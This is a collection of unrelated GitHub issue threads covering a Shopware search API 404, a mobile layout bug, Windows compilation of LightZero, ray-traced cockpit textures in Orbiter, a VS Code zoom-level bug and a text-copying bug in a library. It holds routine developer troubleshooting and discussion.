Reply to this email directly, view it on GitHub, or unsubscribe.

Thanks!
6 янв. 2021 г., 22:57 +0300, CraigD<EMAIL_ADDRESS>писал:

Thanks!
Untranslated (e.g. new) strings are at the end of the JSON files.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.


@6.4 search api endpoint not found

Description
I cant use the search endpoint in the Version <IP_ADDRESS>.
if i try to use the search endpoint i get 404.
Im trying to use the order search with an filter. To do so i send an POST-Request to the "/api/search/order" endpoint. In the response a get an 404 an the message:
{"errors":[{"code":"0","status":"404","title":"Not Found","detail":"No route found for \u0022POST \/api\/v3\/search\/order\u0022"}]}
The Request works perfectly fine with the Version: <IP_ADDRESS>.
So what do i missing?
Additional context
Here is an curl example of my request:
curl -k --silent -H "Content-Type: application/json" -H "Authorization: Bearer 1234345" --request POST --data '{"limit":500,"filter":[{"type": "equals","field": "order.stateMachineState.technicalName", "value": "open" }]}' https://myShop.de/api/v3/search/order

https://github.com/shopware/platform/blob/trunk/UPGRADE-6.4.md#api-versioning-change

Thanks for your help.


[Bug]: Mobile view of Homepage breaks on Mobile

Description
When I go to the homepage of the freeweb3resources.com site on a mobile phone, there are some major text structure breaks happening there.
If these can be fixed, it'll really help the site's styling to scale properly and be better.
To Reproduce

Go to 'https://freeweb3resources.com' on a mobile phone.
Scroll down to the call-to-action part of the site
See the styling issues that needs fixing

Anything else?

Code of Conduct

[X] I agree to follow this project's Code of Conduct

@tobySolutions I've fixed this but I'm unable to run the site locally so I can see the changes I made before pushing to github.

@tobySolutions I've fixed this but I'm unable to run the site locally so I can see the changes I made before pushing to github.

You're unable to run the site locally??

What error are you getting @lambeboluwatife?

What error are you getting @lambeboluwatife?

according to the readme, to run it, you have to run yarn i. But it's giving me "cannot be loaded because running scripts is disabled on this system"

No, you can use npm for the project. You don't need to use Yarn.

No, you can use npm for the project. You don't need to use Yarn.

really, I'll try it out.
Thanks

Still working on this @lambeboluwatife?

Hey @tobySolutions  can I work on it?

Sure thing @SoumyadeepOSD!! Let me assign you.

Still working on this @lambeboluwatife?

nope. But @SoumyadeepOSD can take over.
Sorry about that, I'm kinda busy with something.

Awesome! You can take over this @SoumyadeepOSD!

Any updates @SoumyadeepOSD?

Any updates @SoumyadeepOSD?

@tobySolutions  most probably today I'll create a PR 😁

Awesome! Thank you so much @SoumyadeepOSD! Great job.

Hey @tobySolutions  I've created a PR right now about the issue #394 and I think it also solves this issue #385
You can see here👇

Great job @SoumyadeepOSD!! Let me check it out.

Fixed by #394


Does LightZero currently support compilation on Windows?

Hello, thank you for your question. However, I apologize as we have not yet tested on Windows, but we plan to do so in the coming days. You can also post any error messages you encounter during local compilation here, and we can discuss how to resolve these issues together.

The c++ codes contains some .h lib which only exist on Linux , so the compilation fails.
But when the c++ codes are excluded , the python codes work well.
This is the test result on win, fyi.

I would like to comment, using WSL2, Compiling and using the library proved to have no problems.


Ray-traced VC Textures

Implementation of ray-traced VC textures. Issue #378
https://www.orbiter-forum.com/threads/raytraced-vc-textures-with-panel-lights.40347/
Work in progress. Do not Merge

Hi @jarmonik, regarding your "do not merge" comment, what we often do for NASSP dev, is leave PRs as "draft", until we're ready to merge them. Then we mark them as ready for review. That way they can't accidentally get merged early, but we can still use them as a placeholder for an ongoing project.

This project is ready enough for shader development to start. Waiting feedback..

@jarmonik, what is needed for a test of this feature?

There is currently nothing to test. The shader would need to be finished first. Felix24 knows how to build ray-traced textures and how to write shaders so he knows both sides of the equation. I don't know who else could do that. I suppose I could try to write some kind of shader but I have close to zero experience with 3D modeling and ray-tracing, so, I am not going to make any textures.  It's a holiday season so it might take some time until things move forward. Meanwhile I try to improve the sun shadow quality.

hi @jarmonik will this feature support local light sources in the VC as well as the baked lightmaps and sunlight?

Felix24 might be better qualified to answer the question but based on my understanding it would be just baked lights and sunlight. Support for dynamic local lights is already there but it's unknown if the shader will use them. But I suppose that dynamic lights could still be used to lit dynamic objects inside the cockpit like a floating object of some sort. Even if the dynamic lights wouldn't effect on a baked mesh.
We probably should add some kind of ambient light probe in the cockpit to detect the amount of sunlight shining through windows which would then dynamically increase the ambient light level inside the cockpit. It's not great if the cockpit is totally dark even if sunlight is coming in from a window. Some shaders should also include the local lights in addition to sunlight.

Felix24 might be better qualified to answer the question but based on my understanding it would be just baked lights and sunlight. Support for dynamic local lights is already there but it's unknown if the shader will use them. But I suppose that dynamic lights could still be used to lit dynamic objects inside the cockpit like a floating object of some sort. Even if the dynamic lights wouldn't effect on a baked mesh.
We probably should add some kind of ambient light probe in the cockpit to detect the amount of sunlight shining through windows which would then dynamically increase the ambient light level inside the cockpit. It's not great if the cockpit is totally dark even if sunlight is coming in from a window. Some shaders should also include the local lights in addition to sunlight.

I am so bad at remembering to reply to things. I will reach out on the forum.
I like the idea of the ambient light probe. It's amazing just how bright the sun is, from a lighting standpoint: https://www.flickr.com/photos/projectapolloarchive/21315590814/in/album-72157659042210300/
Who else has written shaders in the past?

Felix24 might be better qualified to answer the question but based on my understanding it would be just baked lights and sunlight. Support for dynamic local lights is already there but it's unknown if the shader will use them. But I suppose that dynamic lights could still be used to lit dynamic objects inside the cockpit like a floating object of some sort. Even if the dynamic lights wouldn't effect on a baked mesh.
We probably should add some kind of ambient light probe in the cockpit to detect the amount of sunlight shining through windows which would then dynamically increase the ambient light level inside the cockpit. It's not great if the cockpit is totally dark even if sunlight is coming in from a window. Some shaders should also include the local lights in addition to sunlight.

I am so bad at remembering to reply to things. I will reach out on the forum.
I like the idea of the ambient light probe. It's amazing just how bright the sun is, from a lighting standpoint: https://www.flickr.com/photos/projectapolloarchive/21315590814/in/album-72157659042210300/
Who else has written shaders in the past?

I think the photo from Flickr has a longer exposure time, you can see that because the camera was moved while taking the photo.

We probably should add some kind of ambient light probe in the cockpit to detect the amount of sunlight shining through windows which would then dynamically increase the ambient light level inside the cockpit. It's not great if the cockpit is totally dark even if sunlight is coming in from a window. Some shaders should also include the local lights in addition to sunlight.

This is a good idea, and is basically what I'm trying to do. I currently grab the blue channel of gSun.Color as a proxy for the amount of sunlight present in the VC and use it to change the brightness of the ambient light illumination. gSun.Color is white in day and black at night, with some sunrise/sunset color mixing in between. I grab the blue channel because it is the last channel to increase in brightness at sunrise, and the first to decay at sunset, and allows for a more gradual transition between dynamic range regimes.
This does not take into account flying upside-down with the sun not visible through the windows. In this case, currently there is no change in the ambient light.
I want be able eventually to have multiple ambient light maps for sunlight coming from different directions. One with the light coming in from the forward direction, one for each side, and one for above.

hi @jarmonik will this feature support local light sources in the VC as well as the baked lightmaps and sunlight?

This is a great idea. I'm not sure how to implement and test this though.

The C++ side should be now in a working condition. The shaders still need some work. Feedback required regarding fully baked configuration.
Ambient light probe experiment was successful, although, without HDR the small difference between dim local light and sun light causes some issues. With HDR upgrade, performance optimizations and quality improvements, this can work. With this upgrade it would be possible to block Earth glow coming in a closed payload bay.
It might be good idea to wait for the release of Orbiter 2024 before merge and then start updating the stock vessels since no more DX7 compatibility is required.


[ST] Router is down

Describe the bug
This router: https://connextscan.io/router/0xbe7bc00382a50a711d037eaecad799bb8805dfa8 is down.
Last bid: 10 days ago
Additional context
Add any other context about the problem here.
@oncall

bidding today


Update docs for withastro/astro#9610

Description (required)
Updates the RSS guide.
Related issues & labels (optional)

Related PR: https://github.com/withastro/astro/pull/9610
Suggested label: merge-on-release

Sounds good!


Sanity Bounds for "window.zoomLevel"

Does this issue occur when all extensions are disabled?: Yes

VS Code Version
Version: 1.68.0 (user setup)
Commit: 4af164ea3a06f701fe3e89a2bcbb421d2026b68f
Date: 2022-06-08T11:44:16.822Z
Electron: 17.4.7
Chromium: 98.0.4758.141
Node.js: 16.13.0
V8: <IP_ADDRESS>-electron.0
OS: Windows_NT x64 10.0.19043

Steps to Reproduce:

Window is not in F11 fullscreen mode.
Using the Settings GUI, set window.zoomLevel to a negative value (e.g. -3)
Accidentally add an extra 0  (e.g. -30)
The setting is automatically applied, which leads to a state where the entire UI disappears. Clicking anywhere in the window minimizes the window.
Entering F11 fullscreen mode appears to fix this situation and the UI becomes visible again(albeit very tiny at the -30 zoom level).

My initial take is this could be fixed with a sane lower bounds on window.zoomLevel. However, it appears that part of the issue is also that as window.zoomLevel becomes more negative(zooms out), the Menu Bar becomes larger. At high magnitude negative values, the Menu Bar increases in size to the point where it takes up the entire window and prevents user input.
Ex.) window.zoomLevel: -20 .

Ex.) window.zoomLevel: -30. At this level, the Menu Bar minimize "-" icon takes up the whole window. At this level, the setting input box also de-focuses, preventing the user from pressing backspace to remove the extra 0.

This bug has been fixed in the latest release of VS Code Insiders!
@psyfry, you can help us out by commenting /verified if things are now working as expected.
If things still don't seem right, please ensure you're on version 0b571a26e213bf1ec6266e37152ced80c006bd1e of Insiders (today's or later - you can use Help: About in the command palette to check), and leave a comment letting us know what isn't working as expected.
Happy Coding!


Copying text impossible

I don't know if this is an inherent limitation of this liberary, but copying text becomes pretty much impossible, since space characters are stripped.

Thank you for letting me know, I hadn't noticed. I'll fix this issue this week.

Have added a preliminary fix for this issue. Unfortunately there are edge cases where spaces are still not copiable, will need to work on that.
Another significant issue is that the line breaks are included in any text that is copied. Unfortunately both  and  elements cause this issue. The only solution I can think of would be to use inline-blocks for each line, but that only works for plain text, not text that contains inline and inline-block elements.

Now fixed.

Turns out my solution only worked for Chrome. I have reverted back to using  until I figure out a way that works across browsers.

Hmm strange that wbr doesn't work, according to MDN all major browsers support it. I'm using Safari by the way.

It turns out that certain browsers don't break on a <wbr/> if it's inside an paragraph with white-space: nowrap